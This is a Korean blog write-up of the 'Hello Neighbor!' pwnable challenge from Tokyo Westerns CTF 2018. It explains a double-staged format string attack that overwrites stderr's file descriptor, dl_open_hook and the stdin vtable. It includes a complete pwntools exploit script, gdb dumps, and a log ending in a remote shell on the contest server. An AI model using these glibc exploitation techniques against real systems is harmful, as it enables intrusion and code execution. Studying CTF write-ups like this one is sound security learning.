Category : pwnable
Hello Neighbor!
nc neighbor.chal.ctf.westerns.tokyo 37565
Summary : double staged format string attack, modify stderr->_fileno to 1(stdout)
1. Vulnerability
1.1. Format string bug
- 무한루프를 돌며 전역변수 format에 문자열을 입력받고 그대로 fprintf 함수에 넘긴다. (format string bug)stack에 control 가능한 값이 없으므로 double staged format string attack으로 원하는 주소를 stack에 만들어 덮어주어야 한다. 횟수에는 제한이 없기 때문에 사실상 노가다 작업이다.
2. Exploitation
2.1. Bypassing IO_validate_vtable
- FULL RELRO이기 때문에 GOT를 덮지 못 한다, 어디를 덮어야 eip control이 가능할지 고민 결과 libc의 stdin에 있는 _IO_jump_t vtable을 덮기로 했다.
- server에서 사용하는 libc가 vtable을 검증하는 IO_validate_vtable을 호출하기 때문에, 이를 우회하기 위해 dl_open_hook도 같이 덮어줘야함.
2.2. Server configuration
$ ./neighbor
Hello neighbor!
Please tell me about yourself. I must talk about you to our mayor.
paullllll
paullllll
$ nc neighbor.chal.ctf.westerns.tokyo 37565
Hello neighbor!
Please tell me about yourself. I must talk about you to our mayor.
paullllll
hey???
- 로컬에서 실행하면 stderr도 잘 출력되지만, 서버에서는 stderr을 연결시켜주지 않은 것으로 보인다.
- 우선 로컬에서 stderr가 출력되는 것을 기준으로 exploit을 작성 후, exploit 앞부분에 stderr->_fileno를 1로 바꿔주는 payload 를 추가한다.
- stack에 있는 pointer를 이용해 stderr + 112 (_fileno) 주소를 만들고, 1로 덮어썼다.
- 이 과정에서 stack 주소 1byte (0x38)를 고정으로 잡았기 때문에 1/16 확률이 됐다.
##### make stderr->_fileno = 1 #####
######### 1/16 #####################
sl('%{}c'.format(0x38)+'%9$hhn')
time.sleep(0.1)
sl('%{}c'.format(0x90)+'%11$hhn')
time.sleep(0.1)
sl('%1c%6$n')
sl('lucky\x00')
print ru('lucky')
s.interactive()
#####################################
여기부터 %5$p
gdb-peda$ x/8a $rsp |
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa70 0x561348e909d7
-------------------------------------------------------------------------------
(1)
%56c%9$hhn (56 = 0x38)
// *(char *)0x7ffdc41faa60 = 0x38
gdb-peda$ x/8a $rsp
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa38 0x561348e909d7
(2)
%144c%11$hhn (144 = 0x90)
// *(char *)0x7ffdc41faa38 = 0x90
gdb-peda$ x/8a $rsp
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904590 <_IO_2_1_stderr_+112>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa38 0x561348e909d7
gdb-peda$ x/a 0x7f40f3904590
0x7f40f3904590 <_IO_2_1_stderr_+112>: 0x2
(3)
%1c%6$hhn
// *(char *)0x7f40f3904590 = 0x1
gdb-peda$ x/a 0x7f40f3904590
0x7f40f3904590 <_IO_2_1_stderr_+112>: 0x1
2.3. Exploit
#!/usr/bin/python
# -*- encoding: utf-8 -*-
from pwn import *
import time
#s = process('./neighbor')
s = remote('neighbor.chal.ctf.westerns.tokyo', 37565)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
ru('our mayor.\n')
print 'start'
##### make stderr->_fileno = 1 #####
######### 1/16 #####################
sl('%{}c'.format(0x38)+'%9$hhn')
time.sleep(0.1)
sl('%{}c'.format(0x90)+'%11$hhn')
time.sleep(0.1)
sl('%1c%6$n')
sl('lucky\x00')
print ru('lucky')
s.interactive()
#####################################
sl('%1$p %3$p %9$pEOF')
pie_base, libc_base, stack = map(lambda x: int(x, 16), ru('EOF')[:-3].strip().split(' '))
pie_base = pie_base - 0x201060
libc_base = libc_base - 0x3c3760
print 'pie_base : ',hex(pie_base)
print 'libc_base : ',hex(libc_base)
print 'stack : ', hex(stack)
dlopen_hook = libc_base + 0x3c62e0
freespace = pie_base + 0x201060 + 0x80
libc_onegadget = libc_base + 0xce0e1
libc_stdin_vtable = libc_base + 0x3c1998
def makeaddr(value, base):
global stack
for i in range(4):
print hex(value), base
print hex((stack + 0x10 + base + (i*2))%0x10000)
sl('%{}c'.format((stack + 0x10 + base + (i*2))%0x10000)+'%9$hn') # make next sfp = sfp + 0x10
time.sleep(0.2)
rr(0x10000)
chop = ((value >> 16 * i) & 0xffff)
if not chop :
sl('%11$hn')
else:
sl('%{}c'.format(chop)+'%11$hn')
time.sleep(0.2)
rr(0x10000)
time.sleep(0.2)
rr(0xffffff)
makeaddr(dlopen_hook, 0)
sl('aaaa%13$hn') # overwrite dl_open_hook (to bypass IO_vtable_check)
ru('aaaa')
makeaddr(libc_stdin_vtable, 0)
sl('aaaa')
ru('aaaa')
makeaddr(libc_stdin_vtable+2, 8)
sl('aaaa')
ru('aaaa')
makeaddr(libc_stdin_vtable + 4, 16)
sl('aaaa')
ru('aaaa')
raw_input('>')
trig = ''
remainder = 0
for i in range(0, 3):
tt = (freespace>>(i*16)) & 0xffff
if tt < remainder:
trig += '%{}c'.format((tt+0x10000) - remainder)
else:
trig += '%{}c'.format(tt-remainder)
trig += '%{}$hn'.format(13+i)
remainder = tt
trig += 'A'
trig += p64(libc_onegadget) * 0x14
sl(trig)
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to neighbor.chal.ctf.westerns.tokyo on port 37565: Done
start
...............
pie_base : 0x5620f7202000
libc_base : 0x7f63c5c8e000
stack : 0x7ffc71fd1d60
0x7f63c60542e0 0
0x1d70
0x7f63c60542e0 0
0x1d72
0x7f63c60542e0 0
0x1d74
0x7f63c60542e0 0
0x1d76
................
$ id
uid=37565116 gid=37565(p37565) groups=37565(p37565)
$ cat flag
TWCTF{????????????????????????????????}
'CTF > 2018' 카테고리의 다른 글
Tokyo Western CTF 2018 - BBQ (0) | 2018.09.10 |
---|---|
Tokyo Western CTF 2018 - swap Returns (0) | 2018.09.03 |
Tokyo Western CTF 2018 - load (0) | 2018.09.03 |
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit) (0) | 2018.08.24 |
SECCON 2017 QUAL - secure_keymanager (0) | 2018.08.22 |